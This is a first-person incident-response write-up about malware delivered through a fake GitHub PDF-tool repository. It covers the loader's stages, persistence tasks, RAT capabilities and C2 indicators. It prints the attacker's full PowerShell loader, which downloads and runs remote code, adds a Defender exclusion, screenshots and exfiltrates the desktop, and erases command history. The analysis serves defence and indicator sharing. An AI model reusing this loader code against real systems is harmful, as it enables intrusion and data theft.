# When the Red Teamer Gets Pwned: Being Forced Onto the Blue-Team Side of an Incident

As an offensive security professional, I am usually on the attacking side—albeit in an authorized and legitimate capacity. Most of my previous writing has focused on red teaming, security research, and other offensive-security topics. This article is therefore unusual for me: this time, I was not the one attacking. I was the one being attacked.

I have to admit that having my personal computer compromised after executing a malicious script was somewhat embarrassing, and the incident caused a fair amount of disruption. At the same time, it became one of the more useful security lessons I have experienced firsthand. What made the incident particularly interesting was that my offensive-security background turned out to be both an advantage and a blind spot. It helped me reason about the person on the other side. Rather than treating every possible persistence mechanism as equally likely, I could look at the attacker's implementation choices, engineering maturity, and operational habits and use them to prioritize where to investigate first. That intuition helped me move quickly while the incident was still active. But the same background also influenced what I considered "success."

My instinct was to think in terms of an adversary's continued ability to operate: Is the payload still running? Does the attacker still have persistence? Can the C2 still reach the host? Can they regain execution after reboot? Those are important questions. They are also incomplete questions. I eventually learned that removing an attacker's ability to continue operating on a machine is not the same thing as removing the unsafe state the attacker has already created. Credentials, cookies, tokens, screenshots, and other stolen data or authentication material do not disappear simply because the malware that collected them is gone. In other words, the same attacker-centric thinking that accelerated the containment phase also contributed to my biggest mistake during recovery.

Part One focuses on that experience: the initial compromise, malware analysis, persistence hunting, containment, and the account abuse that continued after the host itself appeared clean.

Part Two is, for lack of a better word, the counteroffensive: within legal, ethical, and authorized boundaries, how much useful intelligence can be extracted from the adversary's infrastructure—and how much inconvenience can be created for the operators behind it.

### **Never Assume a GitHub Repository Is a Safehouse**

I was looking for an open-source alternative for PDF reading and editing when I came across a GitHub repository that initially appeared reasonably credible. It had a non-trivial number of stars and forks, and the README was concise, with a one-line installation command that addressed exactly what most users want: minimal setup and immediate execution.

GitHub is generally a trustworthy platform, despite the fact that malicious repository campaigns are certainly not new. At the time, the repository did not look suspicious enough for me to stop and investigate it first, so I executed the provided one-liner.

The installation appeared to require some time. While waiting, I went back and reviewed the README more carefully. That was when several red flags became obvious:

- Most of the README content had little or no apparent relationship to PDF software.
- The external domain referenced by the installation command looked unusual.
- The repository had a reasonable number of stars and forks, but the account behind it was very new.

I immediately interrupted the installation. At that point, I assumed that some execution had already occurred. Stopping the script was therefore not a remediation by itself, but there was still value in preventing whatever had not yet completed. In an active compromise, reducing the remaining exposure is better than waiting for the entire execution chain to finish. From that moment on, I treated the situation as a race against time.

##### **Stage 1: PowerShell Delivery**

The installation command retrieved and executed a remote PowerShell script through `Invoke-Expression`. The first-stage script was relatively small:

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

$encodedCommand = "aXJtIC1VcmkgImh0dHBzOi8vc2hlbGxzLnN1L2VuY3J5cHRlZC9hcGkucHMxIiAtVXNlckFnZW50ICJhaXprSGtLdGZOZHptYXljT0pmamhEUGFOTENWWUtNTXBrQWNVeXN5SXBZakFVaE5McXNRTEd5VnlJV2ZDZ25FQmlKWWVqclpMd0N3aG1Wa0VqSXhLSGVQTVllZUVNV1hhcklua211d3JVbXpCSXMiIHwgaWV4"

$decodedCommand =
    [System.Text.Encoding]::UTF8.GetString(
        [Convert]::FromBase64String($encodedCommand)
    )
```

Decoding the Base64 content produced:

```powershell
irm -Uri "https://shells.su/encrypted/api.ps1" `
    -UserAgent "aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs" |
    iex
```

Its purpose was therefore straightforward: retrieve a second-stage PowerShell script from `shells.su` using a distinctive User-Agent and immediately execute the response.

One interesting detail is that the live version of this first-stage script later changed. At the time of my compromise, only the URI itself was encoded; the operator subsequently modified the delivery chain so that the complete secondary request, including the custom User-Agent, was hidden inside the Base64 blob. This suggests that the infrastructure was still being actively maintained rather than representing an abandoned one-off campaign.

##### **Stage 2: Loader, Victim Telemetry, and Staging**

The second-stage script was substantially more important because it exposed most of the initial execution chain.

```powershell
# ------------------------------------ LAUNCH ------------------------------------- #

$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

[Net.WebRequest]::DefaultWebProxy = [Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials


function Show-Progress {
    param(
        [int]$Percent,
        [string]$Text = ""
    )

    $esc = [char]27
    $width = 20

    $filled = [math]::Floor($width * $Percent / 100)
    $empty = $width - $filled

    $gray = "$esc[100m"
    $darkGray = "$esc[48;5;236m"
    $reset = "$esc[0m"

    [Console]::Write(
        "`r        $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text"
    )
}



# ----------------------------------- VARIABLES ----------------------------------- #

$site     = "https://shells.su"
$zipUrl   = "$site/encrypted/1.zip"
$7zaUrl   = "$site/encrypted/7za.exe"
$password = '1'
$exePath  = '1/Helper.exe'

$work = Join-Path $env:TEMP "svc_$(Get-Random)"
$zip  = Join-Path $work '1.zip'
$7za  = Join-Path $work '7za.exe'
$dest = Join-Path $work 'out'


# ----------------------------------- VARIABLES+ ---------------------------------- #

$pcName            = $env:COMPUTERNAME
$userAgent         = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"

$startUrl          = "$site/start.php"
$screenUrl         = "$site/screen.php"
$endUrl            = "$site/end.php"

$firstStepText     = '[1/3] Checking for Updates...'
$secondStepText    = '[2/3] Initialization Components...'
$thirdStepText     = '[3/3] Running Application...'

$firstSubstepText  = '[SUCCESSFULLY]'
$secondSubstepText = '[SUCCESSFULLY]'
$thirdSubstepText  = '[ERROR]'

if (Test-Path $work) { Remove-Item $work -Recurse -Force }
New-Item -ItemType Directory -Path $work -Force | Out-Null


# ---------------------------------- ADMIN RIGHTS --------------------------------- #

$identity  = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$isAdmin   = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

# [STEP 1/3]:
Clear-Host
Write-Host "`n  $firstStepText" -ForegroundColor Cyan

if (-not $isAdmin) {}

if ($isAdmin) {
        Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null
}


# ---< REQUEST 1 >---------------------- GEO -------------------------------------- #

$country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName

filter CustomTrim { $_ -replace '[\r\n\t]', '' }

$geoServices = @(
    @{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" },
    @{ Uri = "https://ipapi.co";        Path = $null },
    @{ Uri = "https://ipinfo.io";             Path = $null }
)

foreach ($service in $geoServices) {
    try {
        $response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -ErrorAction Stop

        if ($response) {
            if ($service.Path -and $response.$($service.Path)) {
                $country = $response.$($service.Path).Trim().ToUpper()
            } else {
                $country = ($response | CustomTrim).ToUpper()
            }

            if ($country -match '^[A-Z]{2}$') {
                break
            }
        }
    }
    catch {
        continue
    }
}

# ------------------------------------- LINKS ------------------------------------- #

$startRequest  = "${startUrl}?pc=${pcName}&country=$country"
$screenRequest = "${screenUrl}?pc=${pcName}&country=$country"
$endRequest    = "${endUrl}?pc=${pcName}&country=$country"


# ---< REQUEST 2 >--------------------- START ------------------------------------- #

try {
    $startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null

    if (-not [string]::IsNullOrWhiteSpace($startScript)) {
        $startBlock = [scriptblock]::Create($startScript)
        & $startBlock
    }
}
catch {
    Write-Warning "$_"
}


# ---< REQUEST 3 >-------------------- DOWNLOAD ----------------------------------- #

try {
    if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null }

    Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
    Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
}
catch {}

# ---< REQUEST 4 >------------------- SCREENSHOT ---------------------------------- #

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

try {
    $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
    $bmp    = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $gfx    = [System.Drawing.Graphics]::FromImage($bmp)

    $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)

    $ms = New-Object System.IO.MemoryStream
    $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)

    $gfx.Dispose()
    $bmp.Dispose()

    $base64 = [Convert]::ToBase64String($ms.ToArray())
    $ms.Dispose()

    $screenBody = @{
        pc    = $pcName
        image = "data:image/png;base64,$base64"
    }

    Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}

# [SUBSTEP 1/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20)
}

Show-Progress 100
Write-Host "$firstSubstepText" -ForegroundColor Green

Start-Sleep -Seconds 3


# --------------------------------- OPEN & LOGGING -------------------------------- #

# [STEP 2/3]:
Clear-Host
Write-Host "`n  $secondStepText" -ForegroundColor Cyan

try {
    if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" }
    if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" }

    $unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y")

    $null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1

    if ($process.ExitCode -ne 0) {
        throw "[ERROR LOG] 7za: $($process.ExitCode)"
    }
}
catch {}


# [RUN FILE]
$exe = Join-Path $dest $exePath

try {
    if (Test-Path $exe) {
        Start-Process $exe -WorkingDirectory (Split-Path $exe) -Wait -ErrorAction Stop
    } else {
        throw "[ZIP] - Error code: 2"
    }
}
catch {
    Write-Warning "$_"
}

if (Test-Path $work) {
    Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue
}

# [SUBSTEP 2/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25)
}

Show-Progress 100
Write-Host "$secondSubstepText" -ForegroundColor Green

Start-Sleep -Seconds 3


# ---< REQUEST 5 >--------------------- ENDING ------------------------------------ #

# [STEP 3/3]:
Clear-Host
Write-Host "`n  $thirdStepText" -ForegroundColor Cyan

try {
    $endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null

    if (-not [string]::IsNullOrWhiteSpace($endScript)) {
        $endBlock = [scriptblock]::Create($endScript)
        & $endBlock
    }
}
catch {
    Write-Warning "$_"
}

# [SUBSTEP 3/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30)
}

Show-Progress 100
Write-Host "$thirdSubstepText`n" -ForegroundColor Red

Start-Sleep -Milliseconds 500

Write-Host "  [ERROR] Failed to load DLL: keygen.dll`n  [ERROR] The specified module could not be found.`n  [ERROR] Error code: 0x8007007E`n  [ERROR] One or more dependencies may be missing.`n  [ERROR] Operation failed." -ForegroundColor Red

# ENDING SCREENSHOT
try {
    $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
    $bmp    = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $gfx    = [System.Drawing.Graphics]::FromImage($bmp)

    $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)

    $ms = New-Object System.IO.MemoryStream
    $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)

    $gfx.Dispose()
    $bmp.Dispose()

    $base64 = [Convert]::ToBase64String($ms.ToArray())
    $ms.Dispose()

    $screenBody = @{
        pc    = $pcName
        image = "data:image/png;base64,$base64"
    }

    Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}

Read-Host -Prompt "`n  Press Enter to exit"

[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
```

Its behavior can be summarized as follows:

```
Environment setup
    ↓
Privilege check
    ↓
Temporary working directory creation
    ↓
Attempted Defender exclusion
    ↓
Country / host reconnaissance
    ↓
Start callback / attempted server-supplied PowerShell execution
    ↓
Download encrypted payload archive and 7-Zip
    ↓
Desktop screenshot collection and exfiltration
    ↓
Payload extraction
    ↓
Payload execution
    ↓
Temporary artifact cleanup
    ↓
End callback / attempted server-supplied PowerShell execution
    ↓
Second screenshot
    ↓
PowerShell history cleanup
```

The script configured TLS 1.2 and explicitly inherited the system proxy together with the current user's default network credentials:

```powershell
[Net.WebRequest]::DefaultWebProxy =
    [Net.WebRequest]::GetSystemWebProxy()

[Net.WebRequest]::DefaultWebProxy.Credentials =
    [Net.CredentialCache]::DefaultNetworkCredentials
```

This is a small but notable implementation detail. It improves compatibility with environments where outbound HTTP traffic must traverse an authenticated corporate proxy. It does not mean that the malware specifically targeted enterprises, but the author had clearly considered environments beyond a simple home network.

The loader then defined the staging infrastructure:

```nginx
$site     = "https://shells.su"
$zipUrl   = "$site/encrypted/1.zip"
$7zaUrl   = "$site/encrypted/7za.exe"
$password = '1'
```

and created a randomized working directory under: **%TEMP%\\svc\_&lt;random&gt;.** The payload was extracted to  **%TEMP%\\svc\_&lt;random&gt;\\out\\**. In the version I recovered during the incident, the final executable was **1.exe**. The currently live version of the loader instead expects **$exePath = '1/Helper.exe'**.

That difference is important for the timeline: the staging script continued to evolve after my compromise, so later snapshots should not be treated as byte-for-byte representations of the version that infected my machine.

##### **Defender Evasion**

If the PowerShell process was already running with administrative privileges, the loader attempted to exclude its temporary working directory from Windows Defender:

```powershell
Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue
```

The current version does not actually perform an elevation attempt when the user is non-administrative:

```powershell
if (-not $isAdmin) {}
```

This is another area where the delivery chain appears to have changed over time. The later reverse engineering of the executable payload showed that privilege-related functionality existed in the RAT itself, making it plausible that some responsibilities were shifted away from the PowerShell layer.

##### **Victim Registration and Geographic Profiling**

Before downloading the executable payload, the loader attempted to determine the victim's country.

It first used the system region as a fallback, then queried several public geolocation services:

```
ipwho.is
ipapi.co
ipinfo.io
```

It then constructed three staging URLs:

```powershell
/start.php?pc=<computer-name>&country=<country>
/screen.php?pc=<computer-name>&country=<country>
/end.php?pc=<computer-name>&country=<country>
```

At first glance, these endpoints appeared to serve primarily as victim-registration and telemetry infrastructure. The staging server received the computer name and country, while `screen.php` was used separately for screenshot exfiltration. Closer inspection of the `start.php` and `end.php` logic, however, revealed an additional capability. The loader did not simply send an execution-start notification. It attempted to capture the response returned by `start.php` and execute it as PowerShell:

```powershell
$startScript = Invoke-RestMethod -Uri $startRequest ... | Out-Null if (-not [string]::IsNullOrWhiteSpace($startScript)) { $startBlock = [scriptblock]::Create($startScript) & $startBlock }
```

The same pattern appeared later with `end.php`. The intended design therefore appears to have been more than simple telemetry. The staging server could return additional PowerShell content, which the loader was prepared to convert into a script block and execute on the victim. Because the requests also included both `pc` and `country`, the server had victim-specific attributes available when generating its response. In principle, this architecture could support different follow-on actions based on the victim host, geographic location, or other server-side criteria. Without access to the server-side PHP implementation, I cannot confirm whether such selective targeting was actually implemented. What can be established from the client code is that the loader was designed to accept and execute server-supplied PowerShell at both the beginning and end of the infection sequence. There was, however, a significant implementation bug:

```powershell
$startScript = Invoke-RestMethod ... | Out-Null
```

Piping the result into `Out-Null` discarded the HTTP response before it could be assigned to `$startScript`. The request itself would still be sent, so the server would still receive the victim information, but `$startScript` would remain empty and the subsequent execution branch would never run. The same mistake affected `$endScript`. As a result, the version of the loader I analyzed contained what appears to have been a server-controlled follow-on execution mechanism that had accidentally disabled itself. This was more than a cosmetic programming error. Had the pipeline been implemented correctly, the operator potentially had an additional opportunity to execute server-supplied PowerShell before and after the primary payload ran.

In my case, that execution path appears to have failed because of the attacker's own bug—not because of anything I did during containment. That part was luck.

The `shells.su` infrastructure therefore served at least three roles:

- victim identification and geographic telemetry,
- screenshot collection,
- and an attempted server-controlled PowerShell staging mechanism.

The RAT's runtime C2 infrastructure was separate from this staging layer.

##### **Screenshot Exfiltration**

The loader captured the complete Windows virtual desktop using `<span class="text-token-text-primary cursor-text rounded-sm" data-placeholder-token="true">[Windows.Forms.SystemInformation]</span>::VirtualScreen` and `$gfx.CopyFromScreen(...)`. The resulting bitmap was encoded as PNG, converted to Base64, and submitted to [https://shells.su/screen.php](https://shells.su/screen.php) as:

```powershell
$screenBody = @{
    pc    = $pcName
    image = "data:image/png;base64,$base64"
}
```

This happened once before the executable payload was launched and again near the end of the fake installation process. At that point, there was no realistic way to "undo" this portion of the compromise. If the requests had succeeded, whatever was visible across my displays had already been exposed. That realization shaped my immediate response priorities. I divided the situation into two categories: damage that had already happened, and adversary activity that I could still stop. The screenshots clearly belonged to the first category. The RAT process, persistence, and C2 connectivity belonged to the second, so I focused on the latter.

I needed to identify the executable that was still running, determine how it survived, and cut off its ability to regain execution or continue communicating with its operator. At the time, this seemed like the obvious prioritization—and during an active compromise, it was not an unreasonable one. In retrospect, however, this decision was also an early indication of the blind spot that would matter later.

My thinking was strongly centered on the adversary's **continued ability to operate**. Once information had already left the endpoint, I mentally classified that portion of the incident as completed damage and redirected my attention toward the active foothold. That model worked reasonably well for screenshots because a screenshot is static: once stolen, it cannot be retrieved, but it also does not independently create new access. Authentication material is different. A stolen cookie, session token, API credential, or password may also represent damage that has already occurred, but its security consequences remain active after exfiltration. It can continue granting access even if the original malware is completely removed and the attacker never touches the compromised endpoint again. I had not yet made that distinction. Stopping continued execution and invalidating already-stolen access were two separate response tracks. At this stage of the incident, I was overwhelmingly focused on the first.

##### **Payload Delivery**

The loader downloaded /encrypted/1.zip and /encrypted/7za.exe, then extracted the password-protected ZIP using the password **"1"**. The use of an encrypted archive is common in malware delivery because it prevents some security products and intermediary scanners from inspecting the executable before extraction. The extracted payload was then launched using:

```powershell
Start-Process $exe `
    -WorkingDirectory (Split-Path $exe) `
    -Wait
```

That `WorkingDirectory` detail later became relevant during cleanup because the temporary extraction directory remained locked by processes holding handles to it.

##### **User Deception**

The script attempted to make the execution look like an ordinary installer or updater.

It displayed three stages:

```
[1/3] Checking for Updates...
[2/3] Initialization Components...
[3/3] Running Application...
```

These were accompanied by artificial progress bars and randomized sleep intervals. At the end of the sequence, the script deliberately printed:

```
[ERROR] Failed to load DLL: keygen.dll
[ERROR] The specified module could not be found.
[ERROR] Error code: 0x8007007E
[ERROR] One or more dependencies may be missing.
[ERROR] Operation failed.
```

This was not a genuine installation failure. It was part of the deception. At the simplest level, the message provided a plausible explanation for why the expected application never appeared: the crack or application had failed because one of its dependencies was missing. Meanwhile, the malicious execution chain had already completed. But in retrospect, the fake error served a more important purpose than merely making the script look like a broken installer. It created a false causal closure for the victim.

From the victim's perspective, the sequence could easily appear to be:

```
Download software
        ↓
Run installer
        ↓
Installation progresses
        ↓
keygen.dll is missing
        ↓
Installation failed
        ↓
Find another download
```

The actual sequence was very different:

```
Execute malicious loader
        ↓
Host reconnaissance
        ↓
Screenshot exfiltration
        ↓
RAT deployment / credential collection begins
        ↓
Fake DLL error
```

The fake error effectively supplied the explanation the attacker wanted the victim to accept. This is an important distinction. The deception did not need to withstand malware analysis. It did not even need to convincingly hide every malicious artifact on the host. It only needed to prevent the victim from questioning the apparent cause of the failed installation. A normal user who accepted that explanation might simply search for another download source. If an Instagram, Steam, Discord, or other account began behaving strangely days or weeks later, there would be little reason to connect that activity with an apparently unrelated failed installation from earlier. In my case, the deception failed—but not because I immediately recognized some sophisticated social-engineering trick.

While the installation was running, I became suspicious enough to go back and read the README and execution instructions more carefully. Once I stepped outside the explanation the installer was presenting and began examining what the command was actually doing, the situation changed very quickly. That detail is somewhat uncomfortable, but important. I work in offensive security every day, yet I still came close enough to the intended victim workflow that the attack had already progressed substantially before I interrupted it. The difference was not that the deception was incapable of working on me. The difference was that I eventually stopped accepting the causal story it had constructed and inspected the execution chain directly. For a campaign operating at scale, that may be all the deception needs to accomplish.

##### **Anti-Forensics**

Finally, the loader attempted to erase PowerShell command history:

```powershell
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Remove-Item (Get-PSReadlineOption).HistorySavePath `
    -Force `
    -ErrorAction SilentlyContinue

Set-PSReadlineOption -HistorySaveStyle SaveNothing

[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
```

This removes or suppresses the user's PSReadLine history, including `ConsoleHost_history.txt`. It is useful against casual post-incident inspection, but it is far from comprehensive forensic cleanup. It does not remove evidence that may remain in other sources such as PowerShell Operational logging, process-creation telemetry, EDR records, network logs, Prefetch, Amcache, SRUM, or the USN Journal.

This pattern was representative of the loader as a whole: it was clearly written with operational security and evidence reduction in mind, but its implementation was pragmatic and sometimes error-prone rather than technically sophisticated. There were several obvious examples. During payload extraction, the script checked:

```
if ($process.ExitCode -ne 0)
```

despite `$process` never having been assigned. More significantly, as discussed earlier, both of the server-supplied PowerShell execution paths contained the `Invoke-RestMethod ... | Out-Null` mistake. The operator had written code to receive a response from `start.php` or `end.php`, convert that response into a script block, and execute it—but discarded the response immediately before doing so.

Initially, I viewed mistakes like these mainly as indicators of the operator's engineering style. That interpretation was useful: implementation quality can provide clues about what kinds of techniques an operator is likely to favor, and it later influenced how I prioritized the persistence search. But the `Out-Null` mistake had a more direct security consequence than I initially appreciated. It did not merely reveal sloppy coding, it disabled an entire server-controlled execution path.

The primary infection chain still worked: the archive was downloaded, the RAT was extracted and executed, screenshots were likely exfiltrated, and persistence was established. But the attack could have been more capable than the behavior I actually observed. The loader's own implementation error appears to have prevented an additional layer of server-directed PowerShell execution from functioning. This distinction became important when evaluating my own response afterward.

Some parts of the incident went well because I identified and contained them quickly. Other parts went well because the malware itself was forgiving. Keeping those two categories separate matters in incident-response retrospectives. Otherwise, it is very easy to look backward at a successful containment outcome and unconsciously attribute every missing consequence to one's own actions. In this case, at least one potentially significant capability was already broken before I ever began responding to the incident.

##### **Hunting the Payload and Its Persistence**

With both PowerShell stages understood, I had a reasonably clear picture of the initial compromise. Some of the damage was already irreversible: host information had been submitted to the staging infrastructure, screenshots had likely been exfiltrated, and the executable payload had already been launched. At that point, the objective was no longer to prevent the compromise, but to contain what was still active. Fortunately, the second-stage script exposed the location where the payload was extracted. I quickly identified the executable under the temporary working directory: **%TEMP%\\svc\_&lt;random&gt;\\out\\1\\1.exe**.

I preserved a copy as a sealed sample for later analysis, then removed the executable from the original delivery location. Removing the initial payload, however, was obviously not sufficient. By that point, I had to assume that persistence had already been established.

There were essentially two ways forward: enumerate every plausible persistence mechanism manually, or reverse engineer the sample and let the malware tell me what it had done. The more practical answer was to do both in parallel. I submitted the preserved sample to sandbox/static-analysis workflows and also used AI-assisted reverse engineering with **GPT-5.6 Sol** and **Opus 5**. I did not treat either model as an oracle; a single automated analysis of an obfuscated malware sample is almost guaranteed to miss something. But even an incomplete analysis can save substantial time during an active incident by identifying functions, strings, API usage, persistence paths, or C2 behavior while the human investigator focuses on the live host.

##### **Prioritizing the Persistence Search**

The difficulty with persistence hunting is that the search space is enormous. A Windows implant can survive through scheduled tasks, services, Run keys, startup folders, WMI subscriptions, Winlogon modifications, IFEO, COM hijacking, DLL-loading mechanisms, and many other techniques. I therefore needed to prioritize. This was one of the stages where my offensive-security background gave me a genuine advantage.

By this point, the two PowerShell stages had already revealed quite a lot about the engineering style behind the operation. The loader relied on relatively direct techniques: PowerShell, `Add-MpPreference`, temporary working directories, an external copy of `7za.exe`, straightforward HTTP requests, and several pieces of visibly error-prone code. Its operational security was functional, but the surrounding delivery chain did not look particularly elegant.

Instead of treating every possible persistence mechanism as equally likely, I found myself approaching the problem in the same way I might approach implementation choices during an offensive engagement: **If I were building this at approximately the level of engineering maturity I had observed so far, what would I use?**

That changed the search order. Scheduled tasks and other conventional boot/logon mechanisms seemed like more probable starting points than an elaborate COM-hijacking chain, obscure WMI persistence, or some more fragile technique requiring substantially greater engineering effort. This was not evidence, it was a heuristic—a bet on the attacker's implementation choices. That distinction matters. A crude PowerShell loader does not prove that the native payload behind it is equally crude. Different components can be written by different developers, borrowed from different projects, or deliberately operate at different levels of sophistication. Later reverse engineering would in fact show that the executable payload was substantially more protected and capable than the surrounding PowerShell initially suggested.

So the offensive intuition helped me **prioritize** the search space; it did not justify excluding the rest of it. Had the initial checks failed, I would have continued broadening the hunt. In this case, however, the bet paid off quickly. I identified a second copy of the payload at:

```
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
```

The location was clearly chosen to resemble a legitimate Windows component. The parent directory had also been given `Hidden` and `System` attributes, reducing the likelihood that it would attract attention during casual inspection. More importantly, the supposedly separate `RuntimeBroker.exe` was not a second-stage executable at all, it was identical to the original `1.exe`. Later reverse engineering confirmed the sequence: the malware created the directory hierarchy, copied itself into that location, marked the path as hidden/system, launched the new copy, and terminated the original process. The filesystem timeline was particularly useful:

```
23:44:56  C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe created
23:44:57  Four malicious scheduled tasks created
```

The four tasks were:

```
\Microsoft\Location\MicrosoftUpdaterMachineCore

\Microsoft\Windows\EDP\ScheduledDef

\Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate

\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins
```

All four ultimately launched the same `RuntimeBroker.exe`. On the compromised host, one task used a repeating 30-minute time trigger, while the remaining three used boot triggers. The task definitions also ran under the built-in Administrator SID (`...-500`) with `InteractiveToken` and `HighestAvailable`. Deeper reverse engineering later confirmed that the tasks were created programmatically through the Task Scheduler COM interfaces rather than by simply invoking `schtasks.exe`. This was a useful reminder not to confuse **simple operational choices** with **absence of implementation skill**. The persistence objective itself was conventional, but the malware did not necessarily use the most obvious implementation path to achieve it.

The sample also stored C2 configuration under:

```
HKCU\Software\Microsoft\Event
```

with a value resembling:

```
System = <C2 configuration>
```

During the live response, I initially treated this as another persistence-related registry artifact. Later analysis clarified an important distinction: the registry value stored C2 state and could be updated by the RAT, but it was not itself an autostart mechanism. The actual execution persistence came from the scheduled tasks. The RAT also created the mutex:

```
Global\RuntimeBrokerAds
```

to enforce a single running instance. In retrospect, this part of the investigation illustrates both the strength and the danger of attacker-oriented reasoning. My red-team experience allowed me to reduce a very large persistence search space by reasoning about the likely engineering choices of the person on the other side. That was substantially faster than mechanically treating every persistence technique as equally probable, and in this case it led me directly toward the artifacts that mattered.

But the method remained probabilistic. I was not proving where persistence existed. I was predicting where the attacker was most likely to have placed it and using that prediction to decide where to look first. This time, I was right. The important word is **this time**.

##### **Parallel Reverse Engineering**

Around the same time, the automated analyses began returning useful results. Neither model independently recovered the complete picture, but their findings overlapped enough to validate several of the artifacts I was already seeing on the host, while also revealing capabilities that were not immediately visible through persistence hunting. The executable was a custom x64 C++ RAT/backdoor. Its runtime C2 used a WebSocket-based channel to **145.63.134.94:406**, with a secondary HTTP task channel on **145.63.134.94:408**, and support for dynamically updated `*.duckdns.org` endpoints. Its protocol included messages such as:

- ready;
- getinfo
- ping
- pong
- task
- createtask
- closetask
- task\_id;
- task\_done;
- update

Remote command execution ultimately used the very straightforward primitive: **cmd.exe /C &lt;command&gt;**. The WebSocket handshake contained an especially distinctive implementation artifact: **Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==**, which is the Base64 representation of the **RFC6455** **example nonce** rather than a properly randomized key. That turned out to be an excellent network-side detection indicator. The binary was also more heavily protected than the PowerShell loader initially suggested. It encrypted sensitive strings, dynamically resolved APIs, and used significant control-flow and MBA-style obfuscation. Anti-analysis checks covered VMware, VirtualBox, QEMU, Hyper-V and several other virtualized environments, including an explicit check for an `"anyrun GPU"` indicator.

It also contained capabilities for:

- RtlSetProcessIsCritical
- SeDebugPrivilege
- SeAssignPrimaryTokenPrivilege
- WMI-based AV discovery
- AMSI-related manipulation
- NtAllocateVirtualMemory
- NtWriteVirtualMemory
- NtCreateThreadEx

with potential injection targets including:

- winlogon
- smartscreen
- explorer.exe

This gave me a more nuanced assessment of the malware. I would not characterize it as an especially advanced implant by high-end red-team or mature threat-actor standards. Its execution and operational behavior contained many noisy and conventional techniques, and parts of the surrounding delivery infrastructure were plainly rough. At the same time, it was certainly not trivial malware: it combined custom obfuscation, dynamic API resolution, sandbox detection, process-injection primitives, multiple redundant scheduled tasks, and a functional remote tasking protocol. In other words, it did not need to be elegant to be dangerous.

##### **Multiple Persistence Mechanisms, but One Executable**

My original prioritization was therefore broadly correct: despite the number of persistence artifacts, the malware did not rely on an exotic persistence architecture. More importantly, every persistence mechanism I identified ultimately converged on the same executable:

```
1.exe
   ↓ self-copy

C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
   ↑
   ├── MicrosoftUpdaterMachineCore
   ├── ScheduledDef
   ├── ProgramDataUpdate
   └── SvcRestartTaskWindowsLogins
```

